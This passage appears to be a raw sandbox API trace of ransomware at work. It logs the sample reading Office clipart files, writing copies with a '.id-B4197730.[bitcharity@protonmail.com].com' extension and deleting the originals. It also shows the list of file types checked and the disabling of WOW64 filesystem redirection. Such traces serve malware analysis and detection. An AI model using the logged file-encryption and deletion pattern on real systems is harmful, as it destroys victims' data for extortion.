lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x15b0, lpOverlapped=0x0) returned 1 [0301.797] WriteFile (in: hFile=0x1084, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x15c0, lpOverlapped=0x0) returned 1 [0301.799] ReadFile (in: hFile=0x10e0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.799] WriteFile (in: hFile=0x1084, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.799] SetEndOfFile (hFile=0x1084) returned 1 [0301.799] CloseHandle (hObject=0x1084) returned 1 [0301.799] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.799] SetEndOfFile (hFile=0x10e0) returned 1 [0301.800] CloseHandle (hObject=0x10e0) returned 1 [0301.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0302.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0303.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.019] lstrlenW (lpString=".doc") returned 4 [0303.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.019] lstrlenW (lpString=".docx") returned 5 [0303.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.020] lstrlenW (lpString=".pdf") returned 4 [0303.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.020] lstrlenW (lpString=".xls") returned 4 [0303.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.020] lstrlenW (lpString=".xlsx") returned 5 [0303.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.020] lstrlenW (lpString=".ppt") returned 4 [0303.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.020] lstrlenW (lpString=".zip") returned 4 [0303.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.020] lstrlenW (lpString=".rar") returned 4 [0303.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.020] lstrlenW (lpString=".bz2") returned 4 [0303.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.020] lstrlenW (lpString=".7z") returned 3 [0303.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.020] lstrlenW (lpString=".dbf") returned 4 [0303.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.020] lstrlenW (lpString=".1cd") returned 4 [0303.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.020] lstrlenW (lpString=".jpg") returned 4 [0303.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.020] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.020] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0303.021] GetLastError () returned 0x0 [0303.021] ReadFile (in: hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0303.110] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0303.111] ReadFile (in: hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.112] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.112] SetEndOfFile (hFile=0x1098) returned 1 [0303.112] CloseHandle (hObject=0x1098) returned 1 [0303.112] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.112] SetEndOfFile (hFile=0x1084) returned 1 [0303.113] CloseHandle (hObject=0x1084) returned 1 [0303.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0303.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.114] lstrlenW (lpString=".doc") returned 4 [0303.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.114] lstrlenW (lpString=".docx") returned 5 [0303.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.114] lstrlenW (lpString=".pdf") returned 4 [0303.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.114] lstrlenW (lpString=".xls") returned 4 [0303.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.114] lstrlenW (lpString=".xlsx") returned 5 [0303.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.114] lstrlenW (lpString=".ppt") returned 4 [0303.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.114] lstrlenW (lpString=".zip") returned 4 [0303.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.114] lstrlenW (lpString=".rar") returned 4 [0303.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.114] lstrlenW (lpString=".bz2") returned 4 [0303.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.115] lstrlenW (lpString=".7z") returned 3 [0303.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.115] lstrlenW (lpString=".dbf") returned 4 [0303.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.115] lstrlenW (lpString=".1cd") returned 4 [0303.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.115] lstrlenW (lpString=".jpg") returned 4 [0303.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.115] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.115] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0303.116] GetLastError () returned 0x0 [0303.116] ReadFile (in: hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x486, lpOverlapped=0x0) returned 1 [0303.390] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x490, lpOverlapped=0x0) returned 1 [0303.391] ReadFile (in: hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.391] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.392] SetEndOfFile (hFile=0x1098) returned 1 [0303.392] CloseHandle (hObject=0x1098) returned 1 [0303.392] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.392] SetEndOfFile (hFile=0x1084) returned 1 [0303.393] CloseHandle (hObject=0x1084) returned 1 [0303.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0303.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.394] lstrlenW (lpString=".doc") returned 4 [0303.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.394] lstrlenW (lpString=".docx") returned 5 [0303.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.394] lstrlenW (lpString=".pdf") returned 4 [0303.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.394] lstrlenW (lpString=".xls") returned 4 [0303.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.394] lstrlenW (lpString=".xlsx") returned 5 [0303.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.394] lstrlenW (lpString=".ppt") returned 4 [0303.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.394] lstrlenW (lpString=".zip") returned 4 [0303.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.394] lstrlenW (lpString=".rar") returned 4 [0303.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.394] lstrlenW (lpString=".bz2") returned 4 [0303.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.394] lstrlenW (lpString=".7z") returned 3 [0303.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.395] lstrlenW (lpString=".dbf") returned 4 [0303.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.395] lstrlenW (lpString=".1cd") returned 4 [0303.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.395] lstrlenW (lpString=".jpg") returned 4 [0303.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.395] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.395] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0303.396] GetLastError () returned 0x0 [0303.396] ReadFile (in: hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0303.836] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0303.837] ReadFile (in: hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.837] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.837] SetEndOfFile (hFile=0x1098) returned 1 [0303.837] CloseHandle (hObject=0x1098) returned 1 [0303.837] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.837] SetEndOfFile (hFile=0x1084) returned 1 [0303.838] CloseHandle (hObject=0x1084) returned 1 [0303.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0303.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.839] lstrlenW (lpString=".doc") returned 4 [0303.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.839] lstrlenW (lpString=".docx") returned 5 [0303.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.839] lstrlenW (lpString=".pdf") returned 4 [0303.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.839] lstrlenW (lpString=".xls") returned 4 [0303.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.839] lstrlenW (lpString=".xlsx") returned 5 [0303.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.839] lstrlenW (lpString=".ppt") returned 4 [0303.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.839] lstrlenW (lpString=".zip") returned 4 [0303.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.839] lstrlenW (lpString=".rar") returned 4 [0303.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.840] lstrlenW (lpString=".bz2") returned 4 [0303.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.840] lstrlenW (lpString=".7z") returned 3 [0303.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.840] lstrlenW (lpString=".dbf") returned 4 [0303.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.840] lstrlenW (lpString=".1cd") returned 4 [0303.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.840] lstrlenW (lpString=".jpg") returned 4 [0303.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.840] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.841] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0303.841] GetLastError () returned 0x0 [0303.841] ReadFile (in: hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x4c4, lpOverlapped=0x0) returned 1 [0303.891] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x4d0, lpOverlapped=0x0) returned 1 [0303.892] ReadFile (in: hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.892] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.892] SetEndOfFile (hFile=0x1098) returned 1 [0303.892] CloseHandle (hObject=0x1098) returned 1 [0303.892] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.893] SetEndOfFile (hFile=0x1084) returned 1 [0303.893] CloseHandle (hObject=0x1084) returned 1 [0303.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0303.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.894] lstrlenW (lpString=".doc") returned 4 [0303.894] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0303.894] lstrlenW (lpString=".docx") returned 5 [0303.894] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0303.894] lstrlenW (lpString=".pdf") returned 4 [0303.894] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0303.894] lstrlenW (lpString=".xls") returned 4 [0303.894] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0303.894] lstrlenW (lpString=".xlsx") returned 5 [0303.894] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0303.894] lstrlenW (lpString=".ppt") returned 4 [0303.894] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0303.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.894] lstrlenW (lpString=".zip") returned 4 [0303.894] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0303.894] lstrlenW (lpString=".rar") returned 4 [0303.894] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0303.894] lstrlenW (lpString=".bz2") returned 4 [0303.894] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0303.895] lstrlenW (lpString=".7z") returned 3 [0303.895] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0303.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.895] lstrlenW (lpString=".dbf") returned 4 [0303.895] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0303.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.895] lstrlenW (lpString=".1cd") returned 4 [0303.895] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0303.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0303.895] lstrlenW (lpString=".jpg") returned 4 [0303.895] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0303.895] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.895] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0303.896] GetLastError () returned 0x0 [0303.896] ReadFile (hFile=0x1084, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0) Thread: id = 3456 os_tid = 0x27d8 [0285.980] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x36e0050 [0285.980] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x36f0058 [0285.981] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9978 [0285.981] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x7c5838 [0285.981] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9870 [0285.981] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x38eb020 [0285.983] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c98e8 [0285.983] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c98e8, Size=0x20) returned 0x7bd850 [0285.983] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9990 [0285.984] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9990, Size=0x20) returned 0x7bd7b0 [0285.984] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.984] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.984] Wow64DisableWow64FsRedirection (in: OldValue=0x2cfff50 | out: OldValue=0x2cfff50*=0x0) returned 1 [0285.984] lstrlenW (lpString="kernel32.dll") returned 12 [0285.984] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd850 | out: hHeap=0x730000) returned 1 [0285.984] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.984] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd7b0 | out: hHeap=0x730000) returned 1 [0285.984] Sleep (dwMilliseconds=0x64) [0286.273] Sleep (dwMilliseconds=0x64) [0286.656] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.656] lstrlenW (lpString="osknumpadbase.xml") returned 17 [0286.656] CreateFileW 